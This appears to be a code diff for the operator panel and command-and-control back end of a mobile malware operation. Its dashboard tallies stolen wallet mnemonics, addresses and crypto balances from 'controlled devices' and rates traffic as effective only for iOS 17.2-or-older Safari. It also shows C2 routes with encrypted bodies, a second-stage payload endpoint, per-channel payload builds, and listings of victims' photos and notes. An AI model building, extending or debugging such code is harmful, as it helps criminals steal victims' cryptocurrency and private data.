.dash-metric-hl { color: #009688; font-weight: 600; } .dash-metric-hl { color: #009688; font-weight: 600; }
.dash-metric-sep { color: #bbb; margin: 0 4px; font-weight: 400; } .dash-metric-sep { color: #bbb; margin: 0 4px; font-weight: 400; }
.dash-metric-total { color: #333; } .dash-metric-total { color: #333; }
.dash-metric-caption {
display: block;
margin-top: 6px;
font-size: 12px;
line-height: 1.3;
color: #999;
font-weight: 400;
}
.dash-section-label {
margin: 4px 0 8px;
font-size: 13px;
color: #999;
}
</style> </style>
<div class="layui-card"> <div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-dash-search"> <form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-dash-search">
@@ -24,85 +65,131 @@
</select> </select>
</div> </div>
</div> </div>
<div class="layui-inline"> @include('admin.partials.filter_channel_select')
<label class="layui-form-label">渠道 ID</label> @include('admin.partials.filter_agent_select')
<div class="layui-input-block">
<input type="text" name="channel_id" placeholder="渠道 ID" autocomplete="off" class="layui-input">
</div>
</div>
@if ($portal === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
<div class="layui-inline"> <div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-dash-search">查询</button> <button class="layui-btn" lay-submit lay-filter="LAY-dash-search">查询</button>
</div> </div>
</div> </div>
</form> </form>
<div class="layui-card-body"> <div class="layui-card-body">
<div class="layui-row layui-col-space15"> <div class="dash-section-label">设备与资产</div>
<div class="layui-col-md2"> <div class="dash-grid dash-grid-5">
<div class="layui-card"> <div class="dash-tile">
<div class="layui-card-header">总设备数</div> <div class="dash-tile-hd">总设备数</div>
<div class="layui-card-body dash-metric" id="dash-total">—</div> <div class="dash-tile-bd">
<div class="dash-metric" id="dash-total">—</div>
<span class="dash-metric-caption">有钱包设备/总设备</span>
</div> </div>
</div> </div>
<div class="layui-col-md2"> <div class="dash-tile">
<div class="layui-card"> <div class="dash-tile-hd">新增设备</div>
<div class="layui-card-header">新增设备</div> <div class="dash-tile-bd">
<div class="layui-card-body dash-metric dash-metric-hl" id="dash-new">—</div> <div class="dash-metric dash-metric-hl" id="dash-new">—</div>
</div> </div>
</div> </div>
<div class="layui-col-md2"> <div class="dash-tile">
<div class="layui-card"> <div class="dash-tile-hd">活跃设备</div>
<div class="layui-card-header">活跃设备</div> <div class="dash-tile-bd">
<div class="layui-card-body dash-metric" id="dash-active">—</div> <div class="dash-metric" id="dash-active">—</div>
</div> </div>
</div> </div>
<div class="layui-col-md3"> <div class="dash-tile">
<div class="layui-card"> <div class="dash-tile-hd">助记词</div>
<div class="layui-card-header">页面 PV</div> <div class="dash-tile-bd">
<div class="layui-card-body dash-metric" id="dash-pv">—</div> <div class="dash-metric dash-metric-hl" id="dash-mnemonics">—</div>
</div> </div>
</div> </div>
<div class="layui-col-md3"> <div class="dash-tile">
<div class="layui-card"> <div class="dash-tile-hd">钱包地址</div>
<div class="layui-card-header">页面 UV</div> <div class="dash-tile-bd">
<div class="layui-card-body dash-metric" id="dash-uv">—</div> <div class="dash-metric dash-metric-hl" id="dash-addresses">—</div>
</div> </div>
</div> </div>
</div> </div>
<div class="layui-word-aux" style="margin-top:4px;">有效口径:iOS ≤ 17.2 且使用 Safari(左侧高亮 / 右侧为全部)</div>
<div class="layui-row layui-col-space15" style="margin-top:12px;"> <div class="dash-section-label">总余额</div>
<div class="layui-col-md6"> <div class="dash-grid dash-grid-5">
<div class="dash-tile">
<div class="dash-tile-hd">USDT</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-usdt">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">TRX</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-trx">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">BTC</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-btc">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">ETH</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-eth">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">BNB</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-bnb">—</div>
</div>
</div>
</div>
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS ≤ 17.2 且 Safari(左侧高亮)</span></div>
<div class="dash-grid dash-grid-2">
<div class="dash-tile">
<div class="dash-tile-hd">页面 PV</div>
<div class="dash-tile-bd">
<div class="dash-metric" id="dash-pv">—</div>
<span class="dash-metric-caption">有效 PV/总 PV</span>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">页面 UV</div>
<div class="dash-tile-bd">
<div class="dash-metric" id="dash-uv">—</div>
<span class="dash-metric-caption">有效 UV/总 UV</span>
</div>
</div>
</div>
<div class="layui-row layui-col-space15" style="margin-top:4px;">
<div class="layui-col-md4">
<div class="layui-card"> <div class="layui-card">
<div class="layui-card-header">按系统(PV / UV / 占比)</div> <div class="layui-card-header">访问 · 按系统(UV / 占比)</div>
<div class="layui-card-body"> <div class="layui-card-body">
<table class="layui-table" lay-size="sm"> <table class="layui-table" lay-size="sm">
<thead><tr><th>系统</th><th>PV</th><th>UV</th><th>占比</th></tr></thead> <thead><tr><th>系统</th><th>UV</th><th>占比</th></tr></thead>
<tbody id="dash-by-os"><tr><td colspan="4">—</td></tr></tbody> <tbody id="dash-by-os"><tr><td colspan="3">—</td></tr></tbody>
</table> </table>
</div> </div>
</div> </div>
</div> </div>
<div class="layui-col-md6"> <div class="layui-col-md4">
<div class="layui-card"> <div class="layui-card">
<div class="layui-card-header">按 iOS 系统版本(PV / UV / 占比)</div> <div class="layui-card-header">访问 · 按 iOS 版本(UV / 占比)</div>
<div class="layui-card-body"> <div class="layui-card-body">
<table class="layui-table" lay-size="sm"> <table class="layui-table" lay-size="sm">
<thead><tr><th>版本</th><th>PV</th><th>UV</th><th>占比</th></tr></thead> <thead><tr><th>版本</th><th>UV</th><th>占比</th></tr></thead>
<tbody id="dash-by-ios-version"><tr><td colspan="4">—</td></tr></tbody> <tbody id="dash-by-ios-version"><tr><td colspan="3">—</td></tr></tbody>
</table>
</div>
</div>
</div>
<div class="layui-col-md4">
<div class="layui-card">
<div class="layui-card-header">受控设备 · 系统版本分布</div>
<div class="layui-card-body">
<table class="layui-table" lay-size="sm">
<thead><tr><th>版本</th><th>设备数</th><th>占比</th></tr></thead>
<tbody id="dash-by-device-ios"><tr><td colspan="3">—</td></tr></tbody>
</table> </table>
</div> </div>
</div> </div>
@@ -124,9 +211,18 @@ layui.use(['form'], function () {
var html = ''; var html = '';
(rows || []).forEach(function (r) { (rows || []).forEach(function (r) {
var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%'); var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%');
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.pv + '</td><td>' + r.uv + '</td><td>' + pct + '</td></tr>'; html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.uv + '</td><td>' + pct + '</td></tr>';
}); });
$(sel).html(html || '<tr><td colspan="4">暂无</td></tr>'); $(sel).html(html || '<tr><td colspan="3">暂无</td></tr>');
}
function fillDeviceVersionRows(sel, rows) {
var html = '';
(rows || []).forEach(function (r) {
var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%');
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.count + '</td><td>' + pct + '</td></tr>';
});
$(sel).html(html || '<tr><td colspan="3">暂无</td></tr>');
} }
function ratioHtml(effective, total) { function ratioHtml(effective, total) {
@@ -138,13 +234,20 @@ layui.use(['form'], function () {
function load(where) { function load(where) {
$.getJSON(dataUrl, where || { range: '30d' }, function (res) { $.getJSON(dataUrl, where || { range: '30d' }, function (res) {
if (!res || res.code !== 0) return; if (!res || res.code !== 0) return;
$('#dash-total').text(res.data.total); $('#dash-total').html(ratioHtml(res.data.wallet_count || 0, res.data.total || 0));
$('#dash-new').text(res.data.new_count); $('#dash-new').text(res.data.new_count);
$('#dash-active').text(res.data.active_count); $('#dash-active').text(res.data.active_count);
$('#dash-mnemonics').text(res.data.mnemonic_count || 0);
$('#dash-addresses').text(res.data.address_count || 0);
$('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0)); $('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0));
$('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0)); $('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0));
var bal = res.data.balances || {};
['usdt', 'trx', 'btc', 'eth', 'bnb'].forEach(function (c) {
$('#dash-bal-' + c).text(bal[c] != null && bal[c] !== '' ? bal[c] : '0');
});
fillRows('#dash-by-os', res.data.by_os); fillRows('#dash-by-os', res.data.by_os);
fillRows('#dash-by-ios-version', res.data.by_ios_version); fillRows('#dash-by-ios-version', res.data.by_ios_version);
fillDeviceVersionRows('#dash-by-device-ios', res.data.by_device_ios_version);
$('#dash-range').text('统计区间:' + res.data.from + ' ~ ' + res.data.to); $('#dash-range').text('统计区间:' + res.data.from + ' ~ ' + res.data.to);
}); });
} }
@@ -154,6 +257,7 @@ layui.use(['form'], function () {
return false; return false;
}); });
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
load({ range: '30d' }); load({ range: '30d' });
}); });
</script> </script>
+4 -21
View File
@@ -13,26 +13,8 @@
<input type="text" name="device_key" placeholder="设备 ID" autocomplete="off" class="layui-input"> <input type="text" name="device_key" placeholder="设备 ID" autocomplete="off" class="layui-input">
</div> </div>
</div> </div>
<div class="layui-inline"> @include('admin.partials.filter_channel_select')
<label class="layui-form-label">渠道 ID</label> @include('admin.partials.filter_agent_select')
<div class="layui-input-block">
<input type="text" name="channel_id" placeholder="渠道 ID" autocomplete="off" class="layui-input">
</div>
</div>
@if ($portal === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach (($agents ?? []) as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">设备型号</label> <label class="layui-form-label">设备型号</label>
<div class="layui-input-block"> <div class="layui-input-block">
@@ -112,6 +94,8 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
var token = @json(csrf_token()); var token = @json(csrf_token());
var updateBase = @json(url('/'.$portal.'/devices')); var updateBase = @json(url('/'.$portal.'/devices'));
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
laydate.render({ elem: '#LAY-device-installed-from', type: 'date' }); laydate.render({ elem: '#LAY-device-installed-from', type: 'date' });
laydate.render({ elem: '#LAY-device-installed-to', type: 'date' }); laydate.render({ elem: '#LAY-device-installed-to', type: 'date' });
@@ -125,7 +109,6 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
{ field: 'id', title: 'ID', width: 80, sort: true }, { field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true }, { field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
{ field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } }, { field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } },
{ field: 'source_domain', title: '来源域名', width: 160, templet: function (d) { return dash(d.source_domain); } },
{ field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } }, { field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } },
{ field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } }, { field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } },
{ field: 'ip', title: 'IP', width: 140, sort: true, templet: function (d) { return dash(d.ip); } }, { field: 'ip', title: 'IP', width: 140, sort: true, templet: function (d) { return dash(d.ip); } },
@@ -16,10 +16,6 @@
<th width="140">渠道 ID</th> <th width="140">渠道 ID</th>
<td><code>{{ $device->channel_id ?: '—' }}</code></td> <td><code>{{ $device->channel_id ?: '—' }}</code></td>
</tr> </tr>
<tr>
<th>来源域名</th>
<td colspan="3"><code>{{ $device->source_domain ?: '—' }}</code></td>
</tr>
<tr> <tr>
<th>设备型号</th> <th>设备型号</th>
<td>{{ $device->device_model ?: '—' }}</td> <td>{{ $device->device_model ?: '—' }}</td>
@@ -7,32 +7,14 @@
<div class="layui-card"> <div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search"> <form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
<div class="layui-form-item"> <div class="layui-form-item">
<div class="layui-inline"> @include('admin.partials.filter_channel_select')
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
</div>
</div>
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">设备 ID</label> <label class="layui-form-label">设备 ID</label>
<div class="layui-input-block"> <div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off"> <input type="text" name="device_key" class="layui-input" autocomplete="off">
</div> </div>
</div> </div>
@if ($portal === 'admin') @include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">来源</label> <label class="layui-form-label">来源</label>
<div class="layui-input-block"> <div class="layui-input-block">
@@ -62,6 +44,7 @@
<script> <script>
layui.use(['table', 'form'], function () { layui.use(['table', 'form'], function () {
var table = layui.table, form = layui.form; var table = layui.table, form = layui.form;
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
table.render({ table.render({
elem: '#LAY-mn-list', elem: '#LAY-mn-list',
id: 'LAY-mn-list', id: 'LAY-mn-list',
+3 -20
View File
@@ -7,32 +7,14 @@
<div class="layui-card"> <div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-note-search"> <form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-note-search">
<div class="layui-form-item"> <div class="layui-form-item">
<div class="layui-inline"> @include('admin.partials.filter_channel_select')
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
</div>
</div>
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">设备 ID</label> <label class="layui-form-label">设备 ID</label>
<div class="layui-input-block"> <div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off"> <input type="text" name="device_key" class="layui-input" autocomplete="off">
</div> </div>
</div> </div>
@if ($portal === 'admin') @include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
<div class="layui-inline"> <div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-note-search">搜索</button> <button class="layui-btn" lay-submit lay-filter="LAY-note-search">搜索</button>
</div> </div>
@@ -51,6 +33,7 @@
<script> <script>
layui.use(['table', 'form'], function () { layui.use(['table', 'form'], function () {
var table = layui.table, form = layui.form; var table = layui.table, form = layui.form;
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
var dash = function (v) { var dash = function (v) {
if (!v) return '—'; if (!v) return '—';
return v.length > 120 ? v.slice(0, 120) + '…' : v; return v.length > 120 ? v.slice(0, 120) + '…' : v;
@@ -0,0 +1,12 @@
{{-- Searchable agent select (admin only); filled by CorunaFilterOptions --}}
@if (($portal ?? 'admin') === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block" style="min-width: 180px;">
<select name="agent_user_id" lay-search data-coruna-agents>
<option value="">全部</option>
<option value="0">官方</option>
</select>
</div>
</div>
@endif
@@ -0,0 +1,9 @@
{{-- Searchable channel ID select; filled by CorunaFilterOptions --}}
<div class="layui-inline">
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block" style="min-width: 200px;">
<select name="channel_id" lay-search data-coruna-channels>
<option value="">全部</option>
</select>
</div>
</div>
+3 -20
View File
@@ -7,32 +7,14 @@
<div class="layui-card"> <div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-photo-search"> <form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-photo-search">
<div class="layui-form-item"> <div class="layui-form-item">
<div class="layui-inline"> @include('admin.partials.filter_channel_select')
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
</div>
</div>
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">设备 ID</label> <label class="layui-form-label">设备 ID</label>
<div class="layui-input-block"> <div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off"> <input type="text" name="device_key" class="layui-input" autocomplete="off">
</div> </div>
</div> </div>
@if ($portal === 'admin') @include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">敏感词</label> <label class="layui-form-label">敏感词</label>
<div class="layui-input-block"> <div class="layui-input-block">
@@ -63,6 +45,7 @@
<script> <script>
layui.use(['table', 'form', 'layer'], function () { layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer; var table = layui.table, form = layui.form, layer = layui.layer;
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
table.render({ table.render({
elem: '#LAY-photo-list', elem: '#LAY-photo-list',
id: 'LAY-photo-list', id: 'LAY-photo-list',
+4 -28
View File
@@ -18,12 +18,7 @@
</select> </select>
</div> </div>
</div> </div>
<div class="layui-inline"> @include('admin.partials.filter_channel_select')
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
</div>
</div>
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">系统</label> <label class="layui-form-label">系统</label>
<div class="layui-input-block"> <div class="layui-input-block">
@@ -42,32 +37,13 @@
<input type="text" name="browser" class="layui-input" placeholder="如 Safari" autocomplete="off"> <input type="text" name="browser" class="layui-input" placeholder="如 Safari" autocomplete="off">
</div> </div>
</div> </div>
<div class="layui-inline">
<label class="layui-form-label">来源域名</label>
<div class="layui-input-block">
<input type="text" name="domain" class="layui-input" placeholder="来源域名" autocomplete="off">
</div>
</div>
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">Referer</label> <label class="layui-form-label">Referer</label>
<div class="layui-input-block"> <div class="layui-input-block">
<input type="text" name="referer" class="layui-input" placeholder="来源" autocomplete="off"> <input type="text" name="referer" class="layui-input" placeholder="来源" autocomplete="off">
</div> </div>
</div> </div>
@if ($portal === 'admin') @include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">代理</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
<div class="layui-inline"> <div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-visit-search">搜索</button> <button class="layui-btn" lay-submit lay-filter="LAY-visit-search">搜索</button>
</div> </div>
@@ -81,7 +57,6 @@
<select id="LAY-visit-group"> <select id="LAY-visit-group">
<option value="os">系统</option> <option value="os">系统</option>
<option value="os_version">系统 + 版本</option> <option value="os_version">系统 + 版本</option>
<option value="domain">来源域名</option>
<option value="browser">浏览器</option> <option value="browser">浏览器</option>
<option value="browser_version">浏览器 + 版本</option> <option value="browser_version">浏览器 + 版本</option>
</select> </select>
@@ -104,6 +79,8 @@ layui.use(['table', 'form'], function () {
var portal = @json($portal); var portal = @json($portal);
var where = { range: '30d' }; var where = { range: '30d' };
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
function loadGroups() { function loadGroups() {
var g = $('#LAY-visit-group').val() || 'os'; var g = $('#LAY-visit-group').val() || 'os';
$.getJSON(@json(route($portal.'.visits.groups')), Object.assign({}, where, { group: g }), function (res) { $.getJSON(@json(route($portal.'.visits.groups')), Object.assign({}, where, { group: g }), function (res) {
@@ -124,7 +101,6 @@ layui.use(['table', 'form'], function () {
cols: [[ cols: [[
{ field: 'id', title: 'ID', width: 70, sort: true }, { field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'channel_id', title: '渠道', minWidth: 160 }, { field: 'channel_id', title: '渠道', minWidth: 160 },
{ field: 'domain', title: '来源域名', minWidth: 180 },
{ field: 'client_uid', title: '访客 UID', width: 160 }, { field: 'client_uid', title: '访客 UID', width: 160 },
{ field: 'os', title: '系统', width: 90 }, { field: 'os', title: '系统', width: 90 },
{ field: 'os_version', title: '系统版本', width: 100 }, { field: 'os_version', title: '系统版本', width: 100 },
+3 -1
View File
@@ -34,6 +34,9 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index'); Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
Route::get('filter-options/agents', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'agents'])->name('filterOptions.agents');
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index'); Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data'); Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups'); Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
@@ -73,7 +76,6 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data'); Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId'); Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId');
Route::post('channels', [ChannelController::class, 'store'])->name('channels.store'); Route::post('channels', [ChannelController::class, 'store'])->name('channels.store');
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update'); Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy'); Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
+1 -1
View File
@@ -101,7 +101,7 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
} }
$configured = strtolower(trim((string) config('coruna.xxbb.channel_c', ''))); $configured = strtolower(trim((string) config('coruna.xxbb.channel_c', '')));
if ($c !== '' && $configured !== $c) { if ($c !== '' && $configured !== $c) {
$this->warn('把上面的 XXBB_CHANNEL_C 写入 .env,新建设备才能按 IP 归因到渠道。'); $this->warn('把上面的 XXBB_CHANNEL_C 写入 .env;新建渠道会始终用 env 中的 c 构建。');
} }
return 0; return 0;
+3 -2
View File
@@ -23,6 +23,8 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index'); Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index'); Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data'); Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups'); Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
@@ -54,8 +56,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index'); Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data'); Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update'); Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
// Agent portal: view/edit/download own channel links only (no create/delete). // Agent portal: view/edit own channel links only (no create/delete).
}); });
}); });
+14
View File
@@ -1,6 +1,7 @@
<?php <?php
use App\Http\Controllers\PageHitController; use App\Http\Controllers\PageHitController;
use App\Models\Channel;
use Illuminate\Support\Facades\Route; use Illuminate\Support\Facades\Route;
// Route::get('/', function () { // Route::get('/', function () {
@@ -9,3 +10,16 @@ use Illuminate\Support\Facades\Route;
// Anonymous page-visit beacon (PV/UV); no session / CSRF. // Anonymous page-visit beacon (PV/UV); no session / CSRF.
Route::match(['GET', 'POST'], '/statistic/t', PageHitController::class)->name('page.hit'); Route::match(['GET', 'POST'], '/statistic/t', PageHitController::class)->name('page.hit');
// Equal-length alias for secondary's hardcoded /details/show.html → /c/{ver}/show.htm
Route::get('/c/{ver}/show.htm', function (string $ver) {
$ver = Channel::normalizeNewChannelId($ver);
abort_if($ver === null, 404);
$path = public_path('channel/'.$ver.'/details/show.html');
abort_unless(is_file($path), 404);
return response()->file($path, [
'Content-Type' => 'application/octet-stream',
'Cache-Control' => 'no-store',
]);
})->where('ver', '[0-9A-Za-z]\\.[0-9A-Za-z]\\.[0-9A-Za-z]{2}');
-1
View File
@@ -5,7 +5,6 @@ use App\Http\Middleware\DecryptXxbbBody;
use Illuminate\Support\Facades\Route; use Illuminate\Support\Facades\Route;
Route::match(['GET', 'HEAD'], '/vhx', [XxbbC2Controller::class, 'vhx']); Route::match(['GET', 'HEAD'], '/vhx', [XxbbC2Controller::class, 'vhx']);
Route::post('/api/iptj', [XxbbC2Controller::class, 'iptj']);
Route::middleware([DecryptXxbbBody::class])->group(function () { Route::middleware([DecryptXxbbBody::class])->group(function () {
Route::post('/a', [XxbbC2Controller::class, 'profile']); Route::post('/a', [XxbbC2Controller::class, 'profile']);
+59 -4
View File
@@ -7,6 +7,7 @@ use App\Models\Channel;
use App\Models\Device; use App\Models\Device;
use App\Models\User; use App\Models\User;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\ChannelProjectService; use App\Services\ChannelProjectService;
use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\RefreshDatabase;
use Mockery; use Mockery;
@@ -213,15 +214,69 @@ class AdminAgentPortalTest extends TestCase
public function dashboard_counts_smoke(): void public function dashboard_counts_smoke(): void
{ {
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
Device::query()->create(['device_id' => 'd1', 'channel_id' => 'ffffffffffffffffffffffffffffffff']); $d1 = Device::query()->create([
Device::query()->create(['device_id' => 'd2', 'channel_id' => 'ffffffffffffffffffffffffffffffff']); 'device_id' => 'd1',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '15.8.4',
]);
Device::query()->create([
'device_id' => 'd2',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '15.8.4',
]);
Device::query()->create([
'device_id' => 'd3',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '18.5',
]);
WalletAddress::query()->create([
'device_id' => $d1->id,
'address' => 'TTestAddress111111111111111111111',
'chain_type' => 'TRON',
'usdt' => '10.5',
'trx' => '2',
'eth' => '0',
'btc' => '0.001',
'bnb' => '1.25',
]);
WalletAddress::query()->create([
'device_id' => $d1->id,
'address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd',
'chain_type' => 'ETH',
'usdt' => '1.5',
'trx' => '0',
'eth' => '0.1',
'btc' => '0',
'bnb' => '0',
]);
WalletMnemonic::query()->create([
'device_id' => $d1->id,
'source' => 'MetaMask',
